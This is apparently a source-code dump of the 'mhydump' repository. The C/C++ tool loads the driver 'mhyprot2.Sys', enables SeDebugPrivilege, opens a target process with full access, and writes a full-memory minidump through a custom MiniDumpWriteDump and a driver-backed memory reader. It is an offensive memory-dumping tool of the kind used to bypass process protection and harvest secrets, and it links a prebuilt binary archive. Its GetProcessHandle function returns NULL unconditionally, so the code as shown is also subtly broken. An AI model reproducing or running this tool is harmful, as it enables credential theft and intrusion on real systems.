WCHAR* get_filename(const WCHAR* name, const WCHAR* endptr) 653 | { 654 | const WCHAR* ptr; 655 | 656 | if (!endptr) endptr = name + lstrlenW(name); 657 | for (ptr = endptr - 1; ptr >= name; ptr--) 658 | { 659 | if (*ptr == '/' || *ptr == '\\') break; 660 | } 661 | return ++ptr; 662 | } 663 | 664 | static void module_fill_module(const WCHAR* in, WCHAR* out, size_t size) 665 | { 666 | const WCHAR *ptr, *endptr; 667 | size_t len, l; 668 | 669 | ptr = get_filename(in, endptr = in + lstrlenW(in)); 670 | len = min(endptr - ptr, size - 1); 671 | memcpy(out, ptr, len * sizeof(WCHAR)); 672 | out[len] = '\0'; 673 | if (len > 4 && (l = match_ext(out, len))) 674 | out[len - l] = '\0'; 675 | else 676 | { 677 | if (len > 3 && !wcsicmp(&out[len - 3], S_DotSoW) && 678 | (l = match_ext(out, len - 3))) 679 | lstrcpyW(&out[len - l - 3], S_ElfW); 680 | } 681 | while ((*out = towlower(*out))) out++; 682 | } 683 | 684 | BOOL WINAPI myGetModuleInformation(HANDLE hProcess,HMODULE hModule,LPMODULEINFO lpmodinfo,DWORD cb) 685 | { 686 | MODULEINFO LocalInfo; 687 | LDR_DATA_TABLE_ENTRY1 Module; 688 | 689 | /* Check output size */ 690 | if (cb < sizeof(MODULEINFO)) 691 | { 692 | SetLastError(ERROR_INSUFFICIENT_BUFFER); 693 | return FALSE; 694 | } 695 | 696 | /* Get the matching module */ 697 | if (!FindModule(hProcess, hModule, &Module)) 698 | { 699 | return FALSE; 700 | } 701 | 702 | /* Get a local copy first, to check for valid pointer once */ 703 | LocalInfo.lpBaseOfDll = hModule; 704 | LocalInfo.SizeOfImage = Module.SizeOfImage; 705 | LocalInfo.EntryPoint = Module.EntryPoint; 706 | 707 | /* Attempt to copy to output */ 708 | memcpy(lpmodinfo, &LocalInfo, sizeof(LocalInfo)); 709 | 710 | return TRUE; 711 | } 712 | 713 | DWORD WINAPI myGetModuleBaseNameW(HANDLE hProcess,HMODULE hModule,LPWSTR lpBaseName,DWORD nSize) 714 | { 715 | DWORD Len; 716 | LDR_DATA_TABLE_ENTRY1 Module; 717 | 718 | /* Get the matching module */ 719 | if (!FindModule(hProcess, hModule, &Module)) 720 | { 721 | return 0; 722 | } 723 | 724 | /* Get the maximum len we have/can write in given size */ 725 | Len = Module.BaseDllName.Length + sizeof(UNICODE_NULL); 726 | if (nSize * sizeof(WCHAR) < Len) 727 | { 728 | Len = nSize * sizeof(WCHAR); 729 | } 730 | 731 | //read_process_memory(GetProcessId(hProcess) 732 | 733 | /* Read string */ 734 | if (!read_process_memory(GetProcessId(hProcess), (UINT64)(&Module.BaseDllName)->Buffer, lpBaseName, Len)) 735 | { 736 | return 0; 737 | } 738 | 739 | /* If we are at the end of the string, prepare to override to nullify string */ 740 | if (Len == Module.BaseDllName.Length + sizeof(UNICODE_NULL)) 741 | { 742 | Len -= sizeof(UNICODE_NULL); 743 | } 744 | 745 | /* Nullify at the end if needed */ 746 | if (Len >= nSize * sizeof(WCHAR)) 747 | { 748 | if (nSize) 749 | { 750 | ASSERT(nSize >= sizeof(UNICODE_NULL)); 751 | lpBaseName[nSize - 1] = UNICODE_NULL; 752 | } 753 | } 754 | /* Otherwise, nullify at last written char */ 755 | else 756 | { 757 | ASSERT(Len + sizeof(UNICODE_NULL) <= nSize * sizeof(WCHAR)); 758 | lpBaseName[Len / sizeof(WCHAR)] = UNICODE_NULL; 759 | } 760 | 761 | return Len / sizeof(WCHAR); 762 | } 763 | 764 | BOOL WINAPI my_EnumerateLoadedModulesW64(HANDLE hProcess,PENUMLOADED_MODULES_CALLBACKW64 EnumLoadedModulesCallback,PVOID UserContext) 765 | { 766 | HMODULE* hMods; 767 | WCHAR baseW[256], modW[256]; 768 | DWORD i, sz; 769 | MODULEINFO mi; 770 | 771 | hMods = (HMODULE*)HeapAlloc(GetProcessHeap(), 0, 256 * sizeof(hMods[0])); 772 | if (!hMods) return FALSE; 773 | 774 | if (!my_EnumProcessModules(hProcess, hMods, 256 * sizeof(hMods[0]), &sz)) 775 | { 776 | /* hProcess should also be a valid process handle !! */ 777 | printf("If this happens, bump the number in mod\n"); 778 | HeapFree(GetProcessHeap(), 0, hMods); 779 | return FALSE; 780 | } 781 | sz /= sizeof(HMODULE); 782 | for (i = 0; i < sz; i++) 783 | { 784 | if (!myGetModuleInformation(hProcess, hMods[i], &mi, sizeof(mi)) || 785 | !myGetModuleBaseNameW(hProcess, hMods[i], baseW, ARRAY_SIZE(baseW))) 786 | continue; 787 | module_fill_module(baseW, modW, ARRAY_SIZE(modW)); 788 | EnumLoadedModulesCallback(modW, (DWORD_PTR)mi.lpBaseOfDll, mi.SizeOfImage, 789 | UserContext); 790 | } 791 | HeapFree(GetProcessHeap(), 0, hMods); 792 | 793 | return sz != 0 && i == sz; 794 | } 795 | 796 | void fetch_modules_info(struct dump_context* dc) 797 | { 798 | //EnumerateLoadedModulesW64(dc->handle, fetch_pe_module_info_cb, dc); 799 | my_EnumerateLoadedModulesW64(dc->handle, fetch_pe_module_info_cb, dc); 800 | } 801 | 802 | BOOL MiniDumpWriteDumpA(HANDLE hProcess, DWORD pid, HANDLE hFile) 803 | { 804 | static const MINIDUMP_DIRECTORY emptyDir = { UnusedStream, {0, 0} }; 805 | MINIDUMP_HEADER mdHead; 806 | MINIDUMP_DIRECTORY mdDir; 807 | DWORD i, nStreams, idx_stream; 808 | struct dump_context dc; 809 | //BOOL sym_initialized = FALSE; 810 | BOOL sym_initialized = TRUE; 811 | 812 | const DWORD Flags = MiniDumpWithFullMemory | 813 | MiniDumpWithFullMemoryInfo | 814 | MiniDumpWithUnloadedModules; 815 | 816 | MINIDUMP_TYPE DumpType = (MINIDUMP_TYPE)Flags; 817 | 818 | //if (!(sym_initialized = SymInitializeW(hProcess, NULL, TRUE))) 819 | //{ 820 | // DWORD err = GetLastError(); 821 | // return FALSE; 822 | //} 823 | 824 | dc.hFile = hFile; 825 | dc.pid = pid; 826 | dc.handle = hProcess; 827 | dc.modules = NULL; 828 | dc.num_modules = 0; 829 | dc.alloc_modules = 0; 830 | dc.threads = NULL; 831 | dc.num_threads = 0; 832 | dc.type = DumpType; 833 | dc.mem = NULL; 834 | dc.num_mem = 0; 835 | dc.alloc_mem = 0; 836 | dc.mem64 = NULL; 837 | dc.num_mem64 = 0; 838 | dc.alloc_mem64 = 0; 839 | dc.rva = 0; 840 | 841 | if (!fetch_process_info(&dc)) 842 | return FALSE; 843 | 844 | fetch_modules_info(&dc); 845 | 846 | nStreams = 3; 847 | nStreams = (nStreams + 3) & ~3; 848 | 849 | // Write Header 850 | mdHead.Signature = MINIDUMP_SIGNATURE; 851 | mdHead.Version = MINIDUMP_VERSION; 852 | mdHead.NumberOfStreams = nStreams; 853 | mdHead.CheckSum = 0; 854 | mdHead.StreamDirectoryRva = sizeof(mdHead); 855 | //mdHead.TimeDateStamp = time(NULL); 856 | mdHead.Flags = DumpType; 857 | append(&dc, &mdHead, sizeof(mdHead)); 858 | 859 | // Write Stream Directories 860 | dc.rva += nStreams * sizeof(mdDir); 861 | idx_stream = 0; 862 | 863 | // Write Data Stream Directories 864 | // 865 | 866 | // Must be first in MiniDump 867 | mdDir.StreamType = SystemInfoStream; 868 | mdDir.Location.Rva = dc.rva; 869 | mdDir.Location.DataSize = dump_system_info(&dc); 870 | writeat(&dc, mdHead.StreamDirectoryRva + idx_stream++ * sizeof(mdDir), &mdDir, sizeof(mdDir)); 871 | 872 | mdDir.StreamType = ModuleListStream; 873 | mdDir.Location.Rva = dc.rva; 874 | mdDir.Location.DataSize = dump_modules(&dc, FALSE); 875 | writeat(&dc, mdHead.StreamDirectoryRva + idx_stream++ * sizeof(mdDir), &mdDir, sizeof(mdDir)); 876 | 877 | fetch_memory64_info(&dc); 878 | 879 | mdDir.StreamType = Memory64ListStream; 880 | mdDir.Location.Rva = dc.rva; 881 | mdDir.Location.DataSize = dump_memory64_info(&dc); 882 | writeat(&dc, mdHead.StreamDirectoryRva + idx_stream++ * sizeof(mdDir), &mdDir, sizeof(mdDir)); 883 | 884 | // fill the remaining directory entries with 0's (unused stream types) 885 | // NOTE: this should always come last in the dump! 886 | for (i = idx_stream; i < nStreams; i++) 887 | writeat(&dc, mdHead.StreamDirectoryRva + i * sizeof(emptyDir), &emptyDir, sizeof(emptyDir)); 888 | 889 | if (sym_initialized) 890 | SymCleanup(hProcess); 891 | 892 | HeapFree(GetProcessHeap(), 0, dc.mem); 893 | HeapFree(GetProcessHeap(), 0, dc.mem64); 894 | HeapFree(GetProcessHeap(), 0, dc.modules); 895 | HeapFree(GetProcessHeap(), 0, dc.threads); 896 | 897 | return TRUE; 898 | } 899 | 900 | HANDLE GetProcessHandle(DWORD dwPid) 901 | { 902 | HANDLE hProcess = NULL; 903 | //hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, 0, dwPid); 904 | hProcess = OpenProcess(PROCESS_ALL_ACCESS, 0, dwPid); 905 | if (hProcess == NULL) 906 | printf("Open Process %d\n", GetLastError()); 907 | return NULL; 908 | 909 | return hProcess; 910 | } 911 | 912 | void EnableDebugPriv() 913 | { 914 | HANDLE hToken; 915 | TOKEN_PRIVILEGES tkp; 916 | 917 | BOOL status = OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES, &hToken); 918 | if (status == FALSE) 919 | { 920 | printf("Failed to open process token.\n"); 921 | return; 922 | } 923 | 924 | tkp.PrivilegeCount = 1; 925 | tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 926 | 927 | LPCWSTR lpwPriv = L"SeDebugPrivilege"; 928 | if (!LookupPrivilegeValueW(NULL, lpwPriv, &tkp.Privileges[0].Luid)) 929 | { 930 | CloseHandle(hToken); 931 | return; 932 | } 933 | 934 | status = AdjustTokenPrivileges(hToken, FALSE, &tkp, sizeof(TOKEN_PRIVILEGES), NULL, NULL); 935 | if (status != STATUS_SUCCESS) 936 | printf("Failed to adjust process token.\n"); 937 | 938 | CloseHandle(hToken); 939 | } 940 | 941 | int main(int argc, char* argv[]) 942 | { 943 | 944 | char drv_path[MAX_PATH] = { 0 }; 945 | 946 | char tempPath[MAX_PATH] = { 0 }; 947 | char curDirPath[MAX_PATH] = { 0 }; 948 | if (!GetTempPathA(MAX_PATH, tempPath)) 949 | { 950 | printf("Can not get tmp path...\n"); 951 | return 0; 952 | } 953 | if (!GetCurrentDirectoryA(MAX_PATH, curDirPath)) 954 | { 955 | printf("Can not get cur path...\n"); 956 | return 0; 957 | } 958 | printf("tmp path: %s\n", tempPath); 959 | printf("cur dir path: %s\n", curDirPath); 960 | char raw_drv_path[MAX_PATH] = { 0 }; 961 | sprintf_s(drv_path, "%s\\%s", tempPath, "mhyprot2.Sys"); 962 | sprintf_s(raw_drv_path, "%s\\%s", curDirPath, "mhyprot2.Sys"); 963 | 964 | printf("drv path: %s\n", drv_path); 965 | printf("raw path: %s\n", raw_drv_path); 966 | CopyFileA(raw_drv_path, drv_path, true); 967 | pdrvCtl1 = new MhyDrvIO(drv_path); 968 | int pid; 969 | char* output_file; 970 | 971 | if (argc != 3) 972 | return 1; 973 | EnableDebugPriv(); 974 | pid = atoi(argv[1]); 975 | output_file = argv[2]; 976 | printf("id %d\n", pid); 977 | HANDLE hProc = GetProcessHandle(pid); 978 | if (!hProc) 979 | { 980 | 981 | printf("Failed to open process.\n"); 982 | return 0; 983 | } 984 | 985 | const DWORD Flags = MiniDumpWithFullMemory | 986 | MiniDumpWithFullMemoryInfo | 987 | MiniDumpWithHandleData | 988 | MiniDumpWithUnloadedModules | 989 | MiniDumpWithThreadInfo; 990 | 991 | HANDLE hFile = CreateFileA(output_file, GENERIC_ALL, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); 992 | if (!hFile) 993 | { 994 | printf("Failed to write dump: Invalid dump file path.\n"); 995 | return 0; 996 | } 997 | 998 | BOOL Result = MiniDumpWriteDumpA(hProc, GetProcessId(hProc), hFile); 999 | delete pdrvCtl1; 1000 | } -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # mhydump -------------------------------------------------------------------------------- /mhyyuanshendump_v2.7z: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/WBGlIl/mhydump/ba43a6e6fb2b8a97b74e9ae73121fb44d6227cd0/mhyyuanshendump_v2.7z -------------------------------------------------------------------------------- /minidump.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include 3 | #include 4 | #include 5 | #define ARRAY_SIZE(a) (sizeof(a)/sizeof((a)[0])) 6 | #define NtCurrentProcess() ( (HANDLE)(LONG_PTR) -1 ) 7 | #define STATUS_SUCCESS 0 8 | 9 | typedef struct _CLIENT_ID 10 | { 11 | PVOID UniqueProcess; 12 | PVOID UniqueThread; 13 | } CLIENT_ID, *PCLIENT_ID; 14 | 15 | typedef struct _THREAD_BASIC_INFORMATION 16 | { 17 | NTSTATUS ExitStatus; 18 | PVOID TebBaseAddress; 19 | CLIENT_ID ClientId; 20 | KAFFINITY AffinityMask; 21 | DWORD Priority; 22 | DWORD BasePriority; 23 | } THREAD_BASIC_INFORMATION, * PTHREAD_BASIC_INFORMATION; 24 | 25 | typedef DWORD RVA; 26 | typedef ULONG64 RVA64; 27 | 28 | struct process 29 | { 30 | struct process* next; 31 | HANDLE handle; 32 | const struct loader_ops* loader; 33 | WCHAR* search_path; 34 | WCHAR* environment; 35 | 36 | PSYMBOL_REGISTERED_CALLBACK64 reg_cb; 37 | PSYMBOL_REGISTERED_CALLBACK reg_cb32; 38 | BOOL reg_is_unicode; 39 | DWORD64 reg_user; 40 | 41 | struct module* lmodules; 42 | ULONG_PTR dbg_hdr_addr; 43 | 44 | IMAGEHLP_STACK_FRAME ctx_frame; 45 | 46 | unsigned buffer_size; 47 | void* buffer; 48 | 49 | BOOL is_64bit; 50 | }; 51 | 52 | struct dump_context 53 | { 54 | /* process & thread information */ 55 | struct process* process; 56 | DWORD pid; 57 | HANDLE handle; 58 | unsigned flags_out; 59 | /* thread information */ 60 | struct dump_thread* threads; 61 | unsigned num_threads; 62 | /* module information */ 63 | struct dump_module* modules; 64 | unsigned num_modules; 65 | unsigned alloc_modules; 66 | /* exception information */ 67 | /* output information */ 68 | MINIDUMP_TYPE type; 69 | HANDLE hFile; 70 | RVA rva; 71 | struct dump_memory* mem; 72 | unsigned num_mem; 73 | unsigned alloc_mem; 74 | struct dump_memory64* mem64; 75 | unsigned num_mem64; 76 | unsigned alloc_mem64; 77 | /* callback information */ 78 | MINIDUMP_CALLBACK_INFORMATION* cb; 79 | }; 80 | 81 | struct line_info 82 | { 83 | ULONG_PTR is_first : 1, 84 | is_last : 1, 85 | is_source_file : 1, 86 | line_number; 87 | union 88 | { 89 | ULONG_PTR pc_offset; /* if is_source_file isn't set */ 90 | unsigned source_file; /* if is_source_file is set */ 91 | } u; 92 | }; 93 | 94 | struct module_pair 95 | { 96 | struct process* pcs; 97 | struct module* requested; /* in: to module_get_debug() */ 98 | struct module* effective; /* out: module with debug info */ 99 | }; 100 | 101 | enum pdb_kind { PDB_JG, PDB_DS }; 102 | 103 | struct pdb_lookup 104 | { 105 | const char* filename; 106 | enum pdb_kind kind; 107 | DWORD age; 108 | DWORD timestamp; 109 | GUID guid; 110 | }; 111 | 112 | struct cpu_stack_walk 113 | { 114 | HANDLE hProcess; 115 | HANDLE hThread; 116 | BOOL is32; 117 | struct cpu* cpu; 118 | union 119 | { 120 | struct 121 | { 122 | PREAD_PROCESS_MEMORY_ROUTINE f_read_mem; 123 | PTRANSLATE_ADDRESS_ROUTINE f_xlat_adr; 124 | PFUNCTION_TABLE_ACCESS_ROUTINE f_tabl_acs; 125 | PGET_MODULE_BASE_ROUTINE f_modl_bas; 126 | } s32; 127 | struct 128 | { 129 | PREAD_PROCESS_MEMORY_ROUTINE64 f_read_mem; 130 | PTRANSLATE_ADDRESS_ROUTINE64 f_xlat_adr; 131 | PFUNCTION_TABLE_ACCESS_ROUTINE64 f_tabl_acs; 132 | PGET_MODULE_BASE_ROUTINE64 f_modl_bas; 133 | } s64; 134 | } u; 135 | }; 136 | 137 | struct dump_memory 138 | { 139 | ULONG64 base; 140 | ULONG size; 141 | ULONG rva; 142 | }; 143 | 144 | struct dump_memory64 145 | { 146 | ULONG64 base; 147 | ULONG64 size; 148 | }; 149 | 150 | struct dump_module 151 | { 152 | unsigned is_elf; 153 | ULONG64 base; 154 | ULONG size; 155 | DWORD timestamp; 156 | DWORD checksum; 157 | WCHAR name[MAX_PATH]; 158 | }; 159 | 160 | struct dump_thread 161 | { 162 | ULONG tid; 163 | ULONG prio_class; 164 | ULONG curr_prio; 165 | }; 166 | -------------------------------------------------------------------------------- /pch.cpp: -------------------------------------------------------------------------------- 1 | // pch.cpp: 与预编译标头对应的源文件;编译成功所必需的 2 | 3 | #include "pch.h" 4 | 5 | // 一般情况下,忽略此文件,但如果你使用的是预编译标头,请保留它。 6 | -------------------------------------------------------------------------------- /pch.h: -------------------------------------------------------------------------------- 1 | // 入门提示: 2 | // 1. 使用解决方案资源管理器窗口添加/管理文件 3 | // 2. 使用团队资源管理器窗口连接到源代码管理 4 | // 3. 使用输出窗口查看生成输出和其他消息 5 | // 4. 使用错误列表窗口查看错误 6 | // 5. 转到“项目”>“添加新项”以创建新的代码文件,或转到“项目”>“添加现有项”以将现有代码文件添加到项目 7 | // 6. 将来,若要再次打开此项目,请转到“文件”>“打开”>“项目”并选择 .sln 文件 8 | 9 | #ifndef PCH_H 10 | #define PCH_H 11 | 12 | // TODO: 添加要在此处预编译的标头 13 | 14 | #endif //PCH_H 15 | -------------------------------------------------------------------------------- /syscall.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include 3 | 4 | typedef struct _SYSTEM_HANDLE 5 | { 6 | ULONG ProcessId; 7 | BYTE ObjectTypeNumber; 8 | BYTE Flags; 9 | USHORT Handle; 10 | PVOID Object; 11 | ACCESS_MASK GrantedAccess; 12 | } SYSTEM_HANDLE, *PSYSTEM_HANDLE; 13 | 14 | typedef struct _SYSTEM_HANDLE_INFORMATION 15 | { 16 | ULONG HandleCount; 17 | SYSTEM_HANDLE Handles[1]; 18 | } SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION; 19 | 20 | typedef struct _SYSTEM_PROCESS_INFORMATION1 // Size=184 21 | { 22 | ULONG NextEntryOffset; // Size=4 Offset=0 23 | ULONG NumberOfThreads; // Size=4 Offset=4 24 | LARGE_INTEGER WorkingSetPrivateSize; // Size=8 Offset=8 25 | ULONG HardFaultCount; // Size=4 Offset=16 26 | ULONG NumberOfThreadsHighWatermark; // Size=4 Offset=20 27 | ULONGLONG CycleTime; // Size=8 Offset=24 28 | LARGE_INTEGER CreateTime; // Size=8 Offset=32 29 | LARGE_INTEGER UserTime; // Size=8 Offset=40 30 | LARGE_INTEGER KernelTime; // Size=8 Offset=48 31 | UNICODE_STRING ImageName; // Size=8 Offset=56 32 | LONG BasePriority; // Size=4 Offset=64 33 | PVOID UniqueProcessId; // Size=4 Offset=68 34 | PVOID InheritedFromUniqueProcessId; // Size=4 Offset=72 35 | ULONG HandleCount; // Size=4 Offset=76 36 | ULONG SessionId; // Size=4 Offset=80 37 | ULONG UniqueProcessKey; // Size=4 Offset=84 38 | ULONG PeakVirtualSize; // Size=4 Offset=88 39 | ULONG VirtualSize; // Size=4 Offset=92 40 | ULONG PageFaultCount; // Size=4 Offset=96 41 | ULONG PeakWorkingSetSize; // Size=4 Offset=100 42 | ULONG WorkingSetSize; // Size=4 Offset=104 43 | ULONG QuotaPeakPagedPoolUsage; // Size=4 Offset=108 44 | ULONG QuotaPagedPoolUsage; // Size=4 Offset=112 45 | ULONG QuotaPeakNonPagedPoolUsage; // Size=4 Offset=116 46 | ULONG QuotaNonPagedPoolUsage; // Size=4 Offset=120 47 | ULONG PagefileUsage; // Size=4 Offset=124 48 | ULONG PeakPagefileUsage; // Size=4 Offset=128 49 | ULONG PrivatePageCount; // Size=4 Offset=132 50 | LARGE_INTEGER ReadOperationCount; // Size=8 Offset=136 51 | LARGE_INTEGER WriteOperationCount; // Size=8 Offset=144 52 | LARGE_INTEGER OtherOperationCount; // Size=8 Offset=152 53 | LARGE_INTEGER ReadTransferCount; // Size=8 Offset=160 54 | LARGE_INTEGER WriteTransferCount; // Size=8 Offset=168 55 | LARGE_INTEGER OtherTransferCount; // Size=8 Offset=176 56 | } SYSTEM_PROCESS_INFORMATION1; 57 | 58 | typedef struct _PEB1 59 | { 60 | UCHAR InheritedAddressSpace; 61 | UCHAR ReadImageFileExecOptions; 62 | UCHAR BeingDebugged; 63 | UCHAR BitField; 64 | ULONG ImageUsesLargePages: 1; 65 | ULONG IsProtectedProcess: 1; 66 | ULONG IsLegacyProcess: 1; 67 | ULONG IsImageDynamicallyRelocated: 1; 68 | ULONG SpareBits: 4; 69 | PVOID Mutant; 70 | PVOID ImageBaseAddress; 71 | PPEB_LDR_DATA Ldr; 72 | PRTL_USER_PROCESS_PARAMETERS ProcessParameters; 73 | } PEB1, *PPEB1; 74 | 75 | typedef struct PEB_LDR_DATA1 { 76 | ULONG Length; 77 | BOOLEAN Initialized; 78 | PVOID SsHandle; 79 | LIST_ENTRY InLoadOrderModuleList; 80 | LIST_ENTRY InMemoryOrderModuleList; 81 | LIST_ENTRY InInitializationOrderModuleList; 82 | } PEB_LDR_DATA1, *PPEB_LDR_DATA1; 83 | 84 | typedef struct _LDR_DATA_TABLE_ENTRY1 85 | { 86 | LIST_ENTRY InLoadOrderLinks; 87 | LIST_ENTRY InMemoryOrderModuleList; 88 | LIST_ENTRY InInitializationOrderModuleList; 89 | PVOID DllBase; 90 | PVOID EntryPoint; 91 | ULONG SizeOfImage; 92 | UNICODE_STRING FullDllName; 93 | UNICODE_STRING BaseDllName; 94 | ULONG Flags; 95 | USHORT LoadCount; 96 | USHORT TlsIndex; 97 | union 98 | { 99 | LIST_ENTRY HashLinks; 100 | struct 101 | { 102 | PVOID SectionPointer; 103 | ULONG CheckSum; 104 | }; 105 | }; 106 | union 107 | { 108 | ULONG TimeDateStamp; 109 | PVOID LoadedImports; 110 | }; 111 | PVOID EntryPointActivationContext; 112 | PVOID PatchInformation; 113 | } LDR_DATA_TABLE_ENTRY1, *PLDR_DATA_TABLE_ENTRY1; 114 | 115 | typedef struct _PROCESS_BASIC_INFORMATION1 { 116 | PVOID Reserved1; 117 | PPEB1 PebBaseAddress; 118 | PVOID Reserved2[2]; 119 | ULONG_PTR UniqueProcessId; 120 | PVOID Reserved3; 121 | } PROCESS_BASIC_INFORMATION1; 122 | 123 | BOOL read_process_memory(DWORD id, UINT64 addr, void* buf, size_t size); 124 | 125 | #define MAX_MODULES 0x2710 126 | 127 | typedef NTSTATUS(WINAPI* PNtQuerySystemInformation)( 128 | __in SYSTEM_INFORMATION_CLASS SystemInformationClass, 129 | __inout PVOID SystemInformation, 130 | __in ULONG SystemInformationLength, 131 | __out_opt PULONG ReturnLength 132 | ); 133 | 134 | 135 | typedef NTSTATUS(NTAPI* PNtQueryInformationProcess)( 136 | IN HANDLE ProcessHandle, 137 | IN PROCESSINFOCLASS ProcessInformationClass, 138 | OUT PVOID ProcessInformation, 139 | IN ULONG ProcessInformationLength, 140 | OUT PULONG ReturnLength OPTIONAL 141 | ); 142 | 143 | PNtQueryInformationProcess My_NtQueryInformationProcess; 144 | 145 | #define ASSERT(a) 146 | 147 | static const WCHAR S_DotSoW[] = { '.','s','o','\0' }; 148 | const WCHAR S_ElfW[] = { '<','e','l','f','>','\0' }; 149 | 150 | static const WCHAR S_AcmW[] = { '.','a','c','m','\0' }; 151 | static const WCHAR S_DllW[] = { '.','d','l','l','\0' }; 152 | static const WCHAR S_DrvW[] = { '.','d','r','v','\0' }; 153 | static const WCHAR S_ExeW[] = { '.','e','x','e','\0' }; 154 | static const WCHAR S_OcxW[] = { '.','o','c','x','\0' }; 155 | static const WCHAR S_VxdW[] = { '.','v','x','d','\0' }; 156 | static const WCHAR* const ext[] = { S_AcmW, S_DllW, S_DrvW, S_ExeW, S_OcxW, S_VxdW, NULL }; 157 | --------------------------------------------------------------------------------